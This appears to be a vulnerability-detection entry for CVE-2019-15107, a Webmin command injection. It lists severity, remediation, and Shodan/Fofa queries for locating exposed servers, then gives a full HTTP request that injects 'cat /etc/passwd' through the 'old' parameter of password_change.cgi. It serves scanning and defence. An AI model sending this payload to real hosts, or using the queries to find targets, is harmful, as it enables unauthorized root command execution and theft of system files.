| Title | Webmin <= 1.920 - Unauthenticated Remote Command Execution |
|---|---|
| Author | bp0lr |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands with root privileges. |
| Remediation | Upgrade to Webmin version 1.930 or later to mitigate this vulnerability. |
| CVSS Score | 9.8 |
| EPSS Score | 0.94461 |
| CVE ID | CVE-2019-15107 |
| CWE ID | CWE-78 |
| Shodan Query | http.title:"webmin" |
| Fofa Query | title="webmin" |
| Tags | cve cve2019 packetstorm webmin rce kev edb vkev vuln |
Webmin <=1.920. is vulnerable to an unauthenticated remote command execution via the parameter ‘old’ in password_change.cgi.
POST /password_change.cgi HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Version/15.2 Safari/537.36
Connection: close
Content-Length: 73
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Referer: http://www.victim.com
Accept-Encoding: gzip
user=rootxx&pam=&old=test|cat /etc/passwd&new1=test2&new2=test2&expired=2
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-15107.yaml
🦈 Packet Capture: ⬇️ Download cve-2019-15107.pcap
N/AN/A